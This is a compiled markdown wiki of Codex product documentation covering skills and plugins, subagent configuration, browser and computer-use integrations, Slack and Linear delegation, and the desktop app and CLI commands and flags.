**Manage**: install curated skills with `$skill-installer` (e.g. `$skill-installer linear`); disable without deleting via `~/.codex/config.toml` (restart after):

```toml
[[skills.config]]
path = "/path/to/skill/SKILL.md"
enabled = false
```

Optional `agents/openai.yaml` adds app UI metadata (`display_name`, icons, `brand_color`, `default_prompt`), invocation policy, and tool dependencies (e.g. an MCP server with `transport: "streamable_http"`). Best practices: one job per skill, prefer instructions over scripts unless you need determinism or external tooling, write imperative steps with explicit inputs/outputs. The open-source repo's `docs/skills.md` just points to the official docs page.

## How plugins work

Browse and install via **Plugins** in the app (categories: Curated by OpenAI, Shared with you, Created by you) or `/plugins` in the CLI (grouped by marketplace; <kbd>Space</kbd> toggles an installed plugin). Examples: Codex Security ([[concepts/enterprise-admin]]), Gmail, Google Drive, Slack, Sites. Installing doesn't change your approval settings ([[concepts/sandboxing-approvals]]); bundled apps may prompt for ChatGPT sign-in, and external services keep their own privacy policies. Uninstall from the plugin browser (bundled apps stay until managed in ChatGPT), or keep-but-disable:

```toml
[plugins."gmail@openai-curated"]
enabled = false
```

## Building plugins

Fastest path: the built-in `@plugin-creator` skill scaffolds the required `.codex-plugin/plugin.json` manifest and a local marketplace entry. Manual minimum: a folder with `.codex-plugin/plugin.json` (`name` in kebab-case — it's the identifier and component namespace — plus `version`, `description`, `"skills": "./skills/"`) and a skill at `skills/<skill-name>/SKILL.md`. Only `plugin.json` belongs in `.codex-plugin/`; keep `skills/`, `hooks/`, `assets/`, `.mcp.json`, `.app.json` at the plugin root. Richer manifests add `author`, `homepage`, `repository`, `license`, `keywords`, component pointers (`mcpServers`, `apps`, `hooks`), and an `interface` block (displayName, descriptions, category, capabilities, legal URLs, `defaultPrompt`, brand assets). Manifest paths must start with `./` and stay inside the plugin root.

**Marketplaces** are JSON catalogs of plugins. Codex reads: the curated official directory, `$REPO_ROOT/.agents/plugins/marketplace.json`, a legacy-compatible `$REPO_ROOT/.claude-plugin/marketplace.json`, and `~/.agents/plugins/marketplace.json`. Each entry needs `name`, `source` (local path relative to the marketplace root, `"url"` for a repo-root Git plugin, or `"git-subdir"` with `url`/`path`/`ref`), `policy.installation` (`AVAILABLE`, `INSTALLED_BY_DEFAULT`, `NOT_AVAILABLE`), `policy.authentication` (on install vs first use), and `category`. Unresolvable entries are skipped, not fatal. Installs land in `~/.codex/plugins/cache/$MARKETPLACE_NAME/$PLUGIN_NAME/$VERSION/` (`local` for local plugins); enabled state is stored in `~/.codex/config.toml`.

CLI marketplace management:

```bash
codex plugin marketplace add owner/repo
codex plugin marketplace add owner/repo --ref main
codex plugin marketplace add https://github.com/example/plugins.git --sparse .agents/plugins
codex plugin marketplace add ./local-marketplace-root
codex plugin marketplace list
codex plugin marketplace upgrade
codex plugin marketplace remove marketplace-name
```

**Bundled MCP servers** ([[concepts/mcp-integration]]): `mcpServers` points at `.mcp.json` (direct or wrapped `mcp_servers` map); users tune policy under `plugins.<plugin>.mcp_servers.<server>`. **Lifecycle hooks**: default file `hooks/hooks.json` (or manifest `hooks` entry: path, array, or inline). Hook commands get `PLUGIN_ROOT` and `PLUGIN_DATA` env vars (plus `CLAUDE_PLUGIN_ROOT`/`CLAUDE_PLUGIN_DATA` for compatibility). Plugin hooks are **not trusted on install** — Codex skips them until the user reviews and trusts the hook definition.

**Workspace sharing**: from the app, **Created by you → Share** invites workspace members/groups or copies a link; shared plugins stay inside the workspace boundary. Admins can disable sharing with `plugin_sharing = false` in `requirements.toml`. Publishing to the official Plugin Directory is "coming soon."

## When To Use

Local skill folder: iterating on one repo or personal workflow. Plugin: cross-team distribution, bundling app/MCP config, lifecycle hooks, or a stable versioned package. Skills also power [[concepts/automations]] (`$skill-name` in automation prompts).

## Risks & Pitfalls

- Oversized skill sets silently truncate descriptions and drop skills from the initial list.
- Same-name skills in different locations both appear — confusing in selectors.
- `source.path` is relative to the **marketplace root**, not `.agents/plugins/` — the most common manual-marketplace mistake.
- After editing a local plugin, update the directory the marketplace points to and restart Codex.

## Related Concepts

- [[concepts/mcp-integration]], [[concepts/automations]], [[concepts/configuration]], [[concepts/agents-md]], [[concepts/enterprise-admin]]

## Sources

Official docs (high confidence): agent skills, plugins, and build-plugins pages; open-source repo `docs/skills.md` (pointer only).



<!-- ===== codex/wiki/concepts/subagents.md ===== -->

---
title: "Subagents"
type: concept
tags: [subagents, orchestration, parallelism, custom-agents, context-management, config-toml]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-subagents.md", "raw/llms_txt_doc-subagents-2.md", "raw/github_issue-subagent-configuration-and-orchestration.md", "raw/github_issue-subagent-support.md"]
---

# Subagents

## Definition

Subagent workflows let Codex spawn specialized agents in parallel and collect their results in one response. The point is twofold: parallel speed on independent work, and **context hygiene** — moving noisy intermediate output (exploration notes, test logs, stack traces) off the main thread so it returns summaries instead of raw output. The docs name the failure modes this avoids: **context pollution** (useful info buried under noise) and **context rot** (performance degrades as the conversation fills). See also [[concepts/memories-context]].

Terms: a **subagent workflow** runs parallel agents and combines results; a **subagent** is one delegated agent; an **agent thread** is its CLI thread, inspectable via `/agent`.

## How It Works

Current Codex releases enable subagent workflows by default; activity is surfaced in the app and CLI (IDE extension visibility "coming soon"). **Codex never spawns subagents automatically** — it only does so when you explicitly ask ("spawn two agents," "delegate this work in parallel," "use one agent per point"). Each subagent does its own model and tool work, so workflows cost more tokens than single-agent runs. A good prompt says how to divide the work, whether to wait for all agents, and what summary to return:

```text
I would like to review the following points on the current PR (this branch vs main). Spawn one agent per point, wait for all of them, and summarize the result for each point.
1. Security issue
2. Code quality
3. Bugs
4. Race
5. Test flakiness
6. Maintainability of the code
```

Codex handles orchestration: spawning, routing follow-ups, waiting, closing threads. Use `/agent` to switch between active threads; ask Codex directly to steer, stop, or close a subagent.

**Approvals**: subagents inherit your current sandbox policy ([[concepts/sandboxing-approvals]]). In interactive CLI sessions, approval requests can surface from inactive threads — the overlay shows the source thread label and `o` opens that thread. In non-interactive flows, an action needing fresh approval fails and the error surfaces to the parent. Live runtime overrides from the parent turn (`/permissions` changes, `--yolo`) are reapplied to children, even over a custom agent file's defaults.

## Built-in and custom agents

Built-ins: `default` (general fallback), `worker` (implementation/fixes), `explorer` (read-heavy exploration). Define custom agents as standalone TOML files — `~/.codex/agents/` for personal, `.codex/agents/` for project scope. A custom agent matching a built-in name (e.g. `explorer`) takes precedence. Each file is a config layer for spawned sessions, so it can override normal session config keys.

Required fields: `name` (source of truth — filename matching is just convention), `description`, `developer_instructions`. Optional: `nickname_candidates` (presentation-only display names for parallel instances; unique, ASCII letters/digits/spaces/hyphens/underscores), plus config keys like `model`, `model_reasoning_effort`, `sandbox_mode`, `mcp_servers`, `skills.config` — all inherit from the parent session when omitted.

```toml
name = "reviewer"
description = "PR reviewer focused on correctness, security, and missing tests."
model = "gpt-5.4"
model_reasoning_effort = "high"
sandbox_mode = "read-only"
developer_instructions = """
Review code like an owner.
Prioritize correctness, security, behavior regressions, and missing test coverage.
Lead with concrete findings, include reproduction steps when possible, and avoid style-only comments unless they hide a real bug.
"""
```

The docs' worked patterns pair a read-only mapper (`pr_explorer` / `code_mapper`), a high-effort analyst (`reviewer` / `browser_debugger` with its own `[mcp_servers.chrome_devtools]` table — see [[concepts/mcp-integration]]), and a fast fixer (`ui_fixer`). Keep each agent narrow and opinionated.

## Key Parameters

Global settings live under `[agents]` in [[concepts/configuration]]:

- `agents.max_threads` — concurrent open thread cap, default `6`.
- `agents.max_depth` — nesting depth, default `1` (children can't spawn grandchildren). Raising it risks runaway fan-out in tokens, latency, and local resources.
- `agents.job_max_runtime_seconds` — default per-worker timeout for CSV jobs (falls back to 1800 s per worker).
- `sqlite_home` — where SQLite-backed agent job state lives.

**Model choice** (see [[entities/codex-models]]): `gpt-5.5` for demanding, ambiguous multi-step agents; `gpt-5.4` when pinned to it; `gpt-5.4-mini` for fast read-heavy parallel workers; `gpt-5.3-codex-spark` (ChatGPT Pro research preview) for near-instant text-only iteration. `model_reasoning_effort`: `high` for reviewers/security tracing, `medium` balanced default, `low` for speed. Unpinned, Codex picks a setup balancing intelligence, speed, and price.

## CSV batch fan-out (experimental)

`spawn_agents_on_csv` maps one worker subagent per CSV row — good for repeated audits (one file/package/PR per row). Inputs: `csv_path`, `instruction` (template with `{column_name}` placeholders), `id_column`, `output_schema`, `output_csv_path`, `max_concurrency`, `max_runtime_seconds`. Each worker must call `report_agent_job_result` exactly once or its row is marked errored. Under `codex exec` ([[concepts/non-interactive-exec]]) a single-line progress update prints to `stderr`; the exported CSV adds `job_id`, `item_id`, `status`, `last_error`, `result_json`.

## When To Use

Parallel **read-heavy** work: exploration, tests, triage, summarization, multi-million-token document analysis split into bounded pieces. Be cautious with parallel **write-heavy** work — concurrent edits create conflicts and coordination overhead.

## Risks & Pitfalls

- Token multiplication is real; don't fan out for work a single agent handles.
- The TOML-file format "may evolve as authoring and sharing mature" — expect churn.
- Community context (GitHub issues #2604, #11701): subagent support and per-agent model/reasoning config were among the most-upvoted requests; the shipped `.codex/agents/*.toml` design follows the maintainer proposal in #11701 (per-role model, reasoning, read-only flag, instructions). An older workaround — orchestrating headless `codex --yolo exec` calls from a prompt — predates official support and is now unnecessary.

## Related Concepts

- [[concepts/memories-context]] — the context limits subagents protect
- [[concepts/configuration]] — `[agents]` table, config layering
- [[concepts/sandboxing-approvals]] — inherited policy and approval routing
- [[concepts/mcp-integration]] — per-agent MCP servers
- [[concepts/non-interactive-exec]] — CSV batches via `codex exec`

## Sources

Official docs (high confidence): subagents concept page and subagents reference page. Community context (medium confidence): GitHub issues #2604 (Subagent Support) and #11701 (Subagent configuration and orchestration).



<!-- ===== codex/wiki/entities/browser-integration.md ===== -->

---
title: "Browser and Desktop Integration (Chrome Extension, In-App Browser, Computer Use, Appshots)"
type: entity
tags: [browser, chrome, computer-use, appshots, gui-automation]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-chrome-extension.md", "raw/llms_txt_doc-in-app-browser.md", "raw/llms_txt_doc-computer-use.md", "raw/llms_txt_doc-appshots.md"]
---

## Overview

The Codex app extends the agent beyond the codebase with four GUI-facing capabilities: the **in-app browser** (shared preview of rendered pages inside a thread), the **Chrome extension** (Codex drives your real Chrome with signed-in state), **Computer Use** (Codex sees and operates macOS/Windows apps by clicking and typing), and **Appshots** (send the frontmost Mac window — screenshot plus available text — into a thread). The escalation ladder: in-app browser for localhost and public pages; a plugin/MCP server when a structured integration exists ([[concepts/mcp-integration]]); Chrome when logged-in browser context is required; Computer Use when a task is only doable visually. Codex switches between these as the task requires.

## Characteristics

- **In-app browser**: for local dev servers, file-backed previews, and public pages that don't require sign-in. It does NOT support authentication flows, signed-in pages, your browser profile, cookies, extensions, or existing tabs. Open it from the toolbar, by clicking a URL, or with `Cmd+Shift+B` (`Ctrl+Shift+B` on Windows). **Browser use** (install/enable the Browser plugin, reference `@Browser`) lets Codex click, type, screenshot, download assets, and run read-only page-inspection JavaScript. **Browser comments**: turn on Annotation mode, select an element; hold `Shift` and click to select an area; hold `Cmd` while clicking to send immediately; a config icon adds granular style feedback (font, text, spacing, color) with live preview.
- **Chrome extension**: set up via **Plugins > Chrome** in the Codex app, which installs the Codex Chrome extension from the Chrome Web Store and walks through permission prompts; confirm the extension shows **Connected**. Invoke with `@Chrome ...`. Tasks run in Chrome tab groups per thread. Chrome's install permissions are broad (page debugger, read/change all data on all websites, history across signed-in devices, bookmarks, downloads, native messaging, tab groups); Codex adds its own per-website confirmations on top. Browser history access is always per-request — there is no always-allow for history.
- **Computer Use**: install the Computer Use plugin from settings; macOS needs **Screen Recording** and **Accessibility** permissions. Not available in the EEA, the United Kingdom, or Switzerland at launch. Good fits: testing desktop apps or simulator flows, reproducing GUI-only bugs, changing settings UIs, inspecting data sources without plugins, multi-app workflows. On Windows it runs only in the foreground of the active desktop (it takes over pointer/keyboard; use a VM or a phone via remote connections to step away). macOS supports background operation and **locked use**: an opt-in Apple authorization plug-in that temporarily unlocks a locked Mac only for active, trusted computer-use turns, covers every display, and relocks on local input. Computer Use can't automate terminal apps or Codex itself, can't authenticate as an administrator, and can't approve security/privacy prompts.
- **Appshots**: macOS Codex app only. Press both Command keys (or a custom hotkey) to capture the frontmost window — visible image plus text the app exposes beyond the visible scroll area. Behaves like an attachment, stored locally in the session file. New thread by default; if you touched a thread in the last 60 seconds, it attaches there, and consecutive appshots stack into the same thread. Some apps (Google Docs, Gmail, Sheets, Slides) yield only the visible screenshot; a matching plugin can fill the gap. The CLI can read appshots in resumed threads but can't create them.
- **Shared permission model**: Codex asks per website/app; choose allow-for-this-chat, always allow, or decline. Manage allowlists/blocklists in settings — removing an allowlisted entry makes Codex ask again; removing a blocklisted entry lets it ask instead of being refused. "Always allow browser content" disables website confirmation entirely (elevated risk). File edits and shell commands still follow thread sandbox/approval settings ([[concepts/sandboxing-approvals]]); browser use follows your Memories setting ([[concepts/memories-context]]). OpenAI stores browsing/screen content only when it enters thread context.

## How to Use

Verbatim prompt patterns:

```text
Use the browser to open http://localhost:3000/settings, reproduce the layout
bug, and fix only the overflowing controls.
```

```text
@Chrome open Salesforce and update the account from these call notes.
```

```text
Open the app with computer use, reproduce the onboarding bug, and fix the
smallest code path that causes it. After each change, run the same UI flow
again.
```

Workflow tips: start the dev server in the integrated terminal first; name the page/route and visual state (loading, empty, error, success); keep each browser or computer-use task small enough to review in one pass; stay present for account, security, payment, or credential flows; ask Codex to use a different browser if you want to keep using yours.

Chrome troubleshooting: check the blocklist; confirm the extension shows **Connected** (re-add the Chrome plugin if a native host is missing); confirm the plugin is on; use the Chrome profile where the extension is installed; start a new thread; restart Chrome and Codex; for uploads enable **Allow access to file URLs** on the extension card; escalate with `/feedback` plus the thread ID. Appshots troubleshooting: check **Screen & System Audio Recording** and **Accessibility** for Codex Computer Use in System Settings > Privacy & Security, then restart Codex. Computer Use: enable locked use under **Codex settings > Computer Use**; revoke macOS access via Privacy & Security.

## Related Entities

- [[entities/codex-app]] — host surface for all four capabilities and their settings
- [[concepts/sandboxing-approvals]] — approval scopes that still govern file/shell actions
- [[concepts/skills-plugins]] — Browser, Chrome, and Computer Use ship as plugins
- [[concepts/memories-context]] — memories interact with browser use
- [[syntheses/sandbox-approval-guide]] — risk tiers for always-allow decisions
- [[syntheses/troubleshooting-checklist]] — condensed connection fixes



<!-- ===== codex/wiki/entities/chat-integrations.md ===== -->

---
title: "Chat Integrations (Slack and Linear)"
type: entity
tags: [slack, linear, integrations, cloud-tasks, delegation]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-use-codex-in-slack.md", "raw/llms_txt_doc-use-codex-in-linear.md"]
---

## Overview

Codex integrates with Slack and Linear so teams can delegate coding work from where it's already being discussed. In Slack, mention `@Codex` with a prompt in a channel or thread and Codex creates a cloud task and replies with results. In Linear, assign an issue to Codex or mention `@Codex` in a comment, and Codex creates a cloud task and posts progress and results back to the issue. Both ride on [[concepts/cloud-tasks]]: they require a paid plan (Plus, Pro, Business, Enterprise, or Edu), a connected GitHub account, and at least one configured cloud environment.

## Characteristics

- **Slack setup**: install the Slack app from chatgpt.com/codex/settings/connectors (a Slack admin may need to approve), then add `@Codex` to a channel — Slack prompts you on first mention. Codex reads the thread history, so you often don't need to restate context; it reacts with 👀, replies with a task link, and posts the result plus (by default) an answer in the thread.
- **Linear setup**: set up cloud tasks, install **Codex for Linear** from the same connectors page, and link your Linear account by mentioning `@Codex` in a comment thread. On Enterprise, an admin must enable Codex cloud tasks in workspace settings (chatgpt.com/admin/settings) and **Codex for Linear** in connector settings (chatgpt.com/admin/ca) — see [[concepts/enterprise-admin]].
- **Two Linear delegation paths**: assign issues to Codex like a teammate (it posts updates back to the issue), or mention `@Codex` in comments and follow up in the same thread to continue the session. Track progress via the issue's **Activity** feed or the task link; on completion Codex posts a summary and a link so you can create a pull request.
- **Linear auto-triage**: Linear **Settings > Your teams > [team] > Triage** (turn on) > **Triage rules** > **Delegate** > **Codex** assigns new triage issues to Codex automatically. Triage-rule tasks run using the account of the issue creator.
- **Environment/repo selection (both)**: Codex reviews the environments you can access and picks the best match for the request (Linear additionally suggests a repo from issue context); if ambiguous, it falls back to your most recently used environment. The task runs against the default branch of the first repository in that environment's repo map — update the repo map for a different default. If nothing suitable exists, Codex replies with instructions to fix it. Pin a repo inline: `@Codex fix the above in openai/codex` (Slack) or `@Codex fix this in openai/codex` (Linear).
- **Enterprise data controls (Slack)**: by default Codex's threaded answer can include information from the environment it ran in. An Enterprise admin can clear **Allow Codex Slack app to post answers on task completion** in ChatGPT workspace settings, after which Codex replies only with a task link.
- **Data handling**: mentioning `@Codex` sends your message and thread history (Slack) or issue content (Linear) to Codex; OpenAI's Privacy Policy and Terms of Use apply. Codex can make mistakes — always review answers and diffs.

## How to Use

Slack: in a channel or thread, mention `@Codex` with your prompt; optionally name an environment or repository (`@Codex fix the above in openai/codex`); wait for the 👀 reaction and the task-link reply.

Linear: assign the issue to Codex, or comment with `@Codex <request>`; follow up in the comment thread to continue the same session.

Tips and troubleshooting (both surfaces):

- **Missing connections**: Codex replies with a link to reconnect Slack/Linear or GitHub.
- **Unexpected environment choice**: reply in-thread naming the environment you want (e.g., `Please run this in openai/openai (applied)` in Slack, or `@Codex please run this in openai/codex` in Linear), then mention `@Codex` again.
- **Long Slack threads**: summarize key details in your latest message so context buried earlier isn't missed.
- **Wrong part of the code (Linear)**: add more context to the issue or be explicit in the `@Codex` comment.
- **Restricted workspaces**: if posting answers is disabled, open the task link for progress and results.

Local Linear access (different mechanism): to let the Codex app, CLI, or IDE extension read Linear issues locally, use the Linear MCP server ([[concepts/mcp-integration]]). Recommended:

```bash
codex mcp add linear --url https://mcp.linear.app/mcp
```

Or configure manually in `~/.codex/config.toml` and then run `codex mcp login linear`:

```toml
[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
```

The same config serves both the CLI and IDE extension ([[concepts/configuration]]).

## Related Entities

- [[entities/codex-web]] — the cloud task surface these integrations create work on
- [[entities/github-integrations]] — `@codex` on GitHub PRs/issues, the third chat-style front door
- [[entities/codex-cli]] — `codex mcp add` and `codex cloud` for the same tasks from a terminal
- [[concepts/cloud-tasks]] — environments, repo maps, and internet access
- [[concepts/enterprise-admin]] — workspace/connector toggles gating these integrations
- [[syntheses/surface-picker]] — when chat delegation beats local work



<!-- ===== codex/wiki/entities/codex-app.md ===== -->

---
title: "Codex App (Desktop)"
type: entity
tags: [surface, desktop, macos, windows, app-server]
created: 2026-06-10
updated: 2026-06-11
confidence: high
sources: ["raw/llms_txt_doc-codex-app.md", "raw/llms_txt_doc-codex-app-features.md", "raw/llms_txt_doc-codex-app-commands.md", "raw/llms_txt_doc-codex-app-settings.md", "raw/llms_txt_doc-codex-app-server.md", "raw/field-notes-windows-app-2026-06-11.md"]
---

## Overview

The Codex app is OpenAI's focused desktop experience for running Codex threads in parallel, with built-in Git worktree support, automations, and Git functionality. It's available on macOS and Windows (Intel build available for Intel Macs; a Linux waitlist exists). Sign in with a ChatGPT account (Plus, Pro, Business, Edu, Enterprise include Codex) or an OpenAI API key — API-key sign-in disables some functionality. Getting started: install, sign in, select a project folder, ensure **Local** is selected, and send a message. See [[concepts/installation-setup]] and [[concepts/authentication]].

## Characteristics

- **Thread modes**: each thread runs as **Local** (current project directory), **Worktree** (isolated Git worktree — both run on your machine), or **Cloud** (remote environment; see [[concepts/cloud-tasks]]). The mode selector appears in the **new-thread composer only** (a running thread's mode is fixed); Worktree requires a Git repository. Automations run in dedicated background worktrees for Git repos.
- **Multitask across projects**: one window runs threads across multiple projects; like starting a CLI session per directory. Split multi-app monorepos into separate app projects so the sandbox only includes that project's files.
- **Built-in Git tools**: diff pane with inline comments, stage/revert per chunk or file, commit, push, and create PRs in-app.
- **Integrated terminal**: per-thread, scoped to the project/worktree; toggle with `Cmd+J`. Codex can read terminal output. Define **actions** in your local environment for shortcut buttons.
- **Chats**: projectless threads for research/triage/plugin work; they use `~/.codex/threads` as the working location.
- **Voice dictation** (hold `Ctrl+M`), floating pop-out window (can stay on top), image input (hold `Shift` while dropping), image generation (`$imagegen`, uses `gpt-image-2`, burns included limits 3-5x faster), artifact viewer (PDF/spreadsheet/doc/presentation previews), and a task sidebar (plan, sources, summaries).
- **Web search**: enabled by default for local tasks, served from a cache; full-access sandboxes default to live results.
- **Shared config**: the app inherits the same `config.toml`, MCP, and skills configuration as the CLI and IDE extension ([[concepts/configuration]], [[concepts/mcp-integration]], [[concepts/skills-plugins]]). With the IDE extension open in the same project, an **IDE context** option appears (Auto Context tracks files you're viewing) — see [[entities/codex-ide-extension]].
- **Thread automations**: recurring wake-up calls that preserve a single thread's context for heartbeat-style follow-ups; standalone/project automations start fresh tasks ([[concepts/automations]]).
- **Approvals/sandbox**: same model as other surfaces; "approve once" vs "approve for this session" grant different scopes ([[concepts/sandboxing-approvals]]). Automatic review can route eligible approvals through a review policy. In the app, switch modes via the **permissions selector under the composer** — labels: **Default permissions** (read/edit in workspace, routine commands, asks before internet or beyond the workspace boundary), **Auto-review**, **Full access**, **Custom (config.toml)**; there is no "read-only" label in the app selector (read-only is a CLI `/permissions`/config posture). The same options also live in Settings → Agent configuration (labeled simply **"Configuration"** on a 2026-06-11 Windows build). Windows runs natively in PowerShell with a native Windows sandbox (no WSL/VM required).
- **Memories and personalization**: Memories carry context across threads ([[concepts/memories-context]]); personality is **Friendly**, **Pragmatic**, or **None**; custom instructions edit your personal `AGENTS.md` ([[concepts/agents-md]]).
- **App server**: `codex app-server` is the open-source JSON-RPC 2.0 interface that powers rich clients (e.g., the VS Code extension). Transports: `--listen stdio://` (default JSONL), `--listen ws://IP:PORT` (experimental WebSocket with auth flags like `--ws-auth capability-token --ws-token-file /absolute/path`), `--listen unix://`, or `off`. Core primitives are threads, turns, and items, driven by methods such as `thread/start`, `turn/start`, `turn/steer`, `turn/interrupt`, `review/start`, and `model/list`. Generate schemas with `codex app-server generate-ts --out ./schemas` or `generate-json-schema`. For CI automation, use [[entities/codex-sdk]] instead.

## How to Use

Keyboard shortcuts (macOS; customize in **Settings > Keyboard Shortcuts**):

| Action | Shortcut |
| --- | --- |
| Command menu | `Cmd+Shift+P` or `Cmd+K` |
| Settings | `Cmd+,` |
| Keyboard shortcuts | `Cmd+/` |
| Open folder | `Cmd+O` |
| Toggle sidebar / diff panel / terminal | `Cmd+B` / `Cmd+Option+B` / `Cmd+J` |
| Clear the terminal | `Ctrl+L` |
| New thread | `Cmd+N` or `Cmd+Shift+O` |
| Search threads / find in thread | `Cmd+G` / `Cmd+F` |
| Previous / next thread | `Cmd+Shift+[` / `Cmd+Shift+]` |
| Dictation | `Ctrl+M` |

Note `Cmd+K` opens the command palette, not clear-terminal. The app's `/status` shows thread ID, context usage, and rate limits **only** — the sandbox/writable-roots readout belongs to the CLI/TUI `/status` ([[entities/codex-cli]]); surface-specific slash behavior is a recurring trap.

Slash commands (type `/` in the composer; `$` invokes skills):

| Command | Purpose |
| --- | --- |
| `/feedback` | Submit feedback, optionally with logs |
| `/goal` | Set a persistent goal (use `/plan` first to shape it) |
| `/mcp` | View connected MCP servers |
| `/plan` | Toggle plan mode |
| `/review` | Review uncommitted changes or compare against a base branch |
| `/status` | Thread ID, context usage, rate limits |

If `/goal` is missing, enable it with `[features]` `goals = true` in `config.toml` or run `codex features enable goals`.

Deep links use the `codex://` scheme: `codex://threads/new`, `codex://new?prompt=<text>&path=<absolute-path>`, `codex://settings`, `codex://skills`, `codex://automations`, `codex://plugins/install/<plugin-name>?marketplace=<marketplace-name>` (use `openai-curated` for OpenAI plugins), and `codex://pets/install?name=<pet-name>&imageUrl=<https-image-url>`.

Settings panel (`Cmd+,`) sections: General (file opening, output verbosity, require `Cmd+Enter` for multiline, prevent sleep), Profile (usage insights, profile cards on consumer plans), Notifications, Agent configuration (common controls plus `config.toml` for advanced), Appearance (themes, fonts, optional Codex pets — install via `$skill-installer hatch-pet`, toggle with `/pet`), Git (branch naming, force-push policy, commit/PR prompt templates), Integrations & MCP, Browser use (allow/block lists, Chrome extension setup — see [[entities/browser-integration]]), Computer Use, Personalization, Context-aware suggestions, Memories, and Archived threads.

## Related Entities

- [[entities/codex-cli]] — same agent and config in the terminal; `codex app` launches the desktop app from the CLI
- [[entities/codex-ide-extension]] — syncs Auto Context and threads with the app
- [[entities/browser-integration]] — in-app browser, Chrome extension, computer use, appshots
- [[entities/codex-web]] — cloud-side counterpart and the Sites plugin
- [[syntheses/surface-picker]] — choosing app vs CLI vs IDE vs web
- [[syntheses/troubleshooting-checklist]] and [[summaries/casebook-runtime]] — common app issues



<!-- ===== codex/wiki/entities/codex-cli.md ===== -->

---
title: "Codex CLI"
type: entity
tags: [surface, terminal, tui, open-source, scripting]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-cli.md", "raw/llms_txt_doc-codex-cli-features.md", "raw/llms_txt_doc-command-line-options.md", "raw/llms_txt_doc-slash-commands-in-codex-cli.md", "raw/llms_txt_doc-speed.md"]
---

## Overview

Codex CLI is OpenAI's coding agent that runs locally from your terminal, reading, changing, and running code in the selected directory. It's open source (github.com/openai/codex) and built in Rust for speed. Available on macOS, Windows (native PowerShell with the Windows sandbox, or WSL2), and Linux. ChatGPT Plus, Pro, Business, Edu, and Enterprise plans include Codex. See [[concepts/installation-setup]] and [[concepts/authentication]].

## Characteristics

- **Interactive TUI**: `codex` launches a full-screen terminal UI; `codex "Explain this codebase to me"` seeds an initial prompt. Syntax-highlighted markdown and diffs; pick themes with `/theme` (persists to `tui.theme`; custom `.tmTheme` files go under `$CODEX_HOME/themes`).
- **Session continuity**: `codex resume` (picker), `codex resume --last`, `codex resume --all`, `codex resume <SESSION_ID>`; `codex fork` branches a session; `codex archive <SESSION>` / `codex unarchive <SESSION>` manage the picker. Sessions live under `~/.codex/sessions/`.
- **Scripting**: `codex exec "fix the CI failure"` (alias `codex e`) runs non-interactively; `codex exec resume --last "..."` continues. Key exec flags: `--json` (JSONL events), `--output-last-message/-o`, `--output-schema <path>`, `--ephemeral`, `--skip-git-repo-check`, `--ignore-user-config`. See [[concepts/non-interactive-exec]].
- **Models**: `gpt-5.5` is recommended; switch with `/model` or `codex --model gpt-5.5`. ChatGPT Pro users get GPT-5.3-Codex-Spark (research preview) for near-instant iteration. See [[entities/codex-models]].
- **Speed**: Fast mode boosts supported model speed 1.5x at higher credit burn — 2.5x the Standard rate for GPT-5.5, 2x for GPT-5.4. Toggle with `/fast on`, `/fast off`, `/fast status`; persist with `service_tier = "fast"` plus `[features].fast_mode = true` in `config.toml`. Fast mode requires ChatGPT sign-in (API keys use standard API pricing). Codex-Spark is a separate model with its own limits, not a tier.
- **Approval modes**: **Auto** (default; edits/runs inside the working directory, asks beyond it), **Read-only**, **Full Access**. Switch with `/permissions`. See [[concepts/sandboxing-approvals]].
- **Web search**: on by default with cached results; `--search` or `web_search = "live"` for live; `web_search = "disabled"` to turn off. Full-access sandboxes default to live.
- **Extensibility**: MCP servers via `codex mcp add <name> -- <command...>` or `--url` ([[concepts/mcp-integration]]); plugins via `codex plugin add` / `codex plugin marketplace add owner/repo`; subagents (spawned only on explicit request, token-heavy — [[concepts/subagents]]); skills via `$<skill-name>` ([[concepts/skills-plugins]]); `codex mcp-server` runs Codex itself as an MCP server ([[entities/codex-sdk]]).
- **Remote TUI**: `codex app-server --listen ws://127.0.0.1:4500` on one machine, `codex --remote ws://127.0.0.1:4500` on another; `--remote` accepts `ws://`, `wss://`, `unix://`, `unix://PATH`. Tokens via `--remote-auth-token-env CODEX_REMOTE_TOKEN` are sent only over `wss://` or local-only `ws://`.
- **Cloud tasks**: `codex cloud` opens a picker; `codex cloud exec --env ENV_ID --attempts 3 "Summarize open bugs"` runs best-of-N (1–4); `codex apply <TASK_ID>` applies a cloud diff locally. See [[concepts/cloud-tasks]].

## How to Use

Global flags (verbatim): `--image/-i`, `--model/-m`, `--oss` (local Ollama provider), `--profile/-p`, `--sandbox/-s read-only | workspace-write | danger-full-access`, `--ask-for-approval/-a untrusted | on-request | never`, `--dangerously-bypass-approvals-and-sandbox` / `--yolo`, `--cd/-C`, `--search`, `--add-dir`, `--remote`, `--strict-config`, `--enable`/`--disable <feature>`, `--config/-c key=value`. For low-friction local work: `codex --sandbox workspace-write --ask-for-approval on-request`. Prefer `--add-dir` over `danger-full-access` when you need extra writable roots.

Other subcommands: `codex login` (`--with-api-key`, `--device-auth`, `codex login status`), `codex logout`, `codex doctor` (diagnostic report; `--json`), `codex features list|enable|disable` (persists to `$CODEX_HOME/config.toml`), `codex completion bash|zsh|fish` (e.g., `eval "$(codex completion zsh)"` in `~/.zshrc`), `codex sandbox` (run commands under Seatbelt/Landlock/Windows sandbox), `codex execpolicy` (preview `.rules` decisions), `codex update`, `codex app` (launch the desktop app).

Built-in slash commands include: `/permissions`, `/model`, `/fast`, `/personality` (`friendly`, `pragmatic`, `none`), `/plan`, `/goal <objective>` (plus `pause|resume|clear`; max 4,000 chars), `/review`, `/diff`, `/compact`, `/clear` (new chat; `Ctrl+L` only clears the screen), `/new`, `/resume`, `/fork`, `/side`/`/btw` (ephemeral side conversation), `/mention`, `/mcp` (`verbose` for details), `/apps`, `/plugins`, `/hooks`, `/skills`, `/memories`, `/approve` (retry one auto-review denial), `/experimental`, `/agent` (switch subagent threads), `/ps` and `/stop` (background terminals), `/init` (generate `AGENTS.md` — [[concepts/agents-md]]), `/status`, `/debug-config`, `/statusline`, `/title`, `/theme`, `/keymap`, `/vim`, `/raw`, `/sandbox-add-read-dir` (Windows only), `/ide`, `/feedback`, `/archive`, `/logout`, `/quit`/`/exit`.

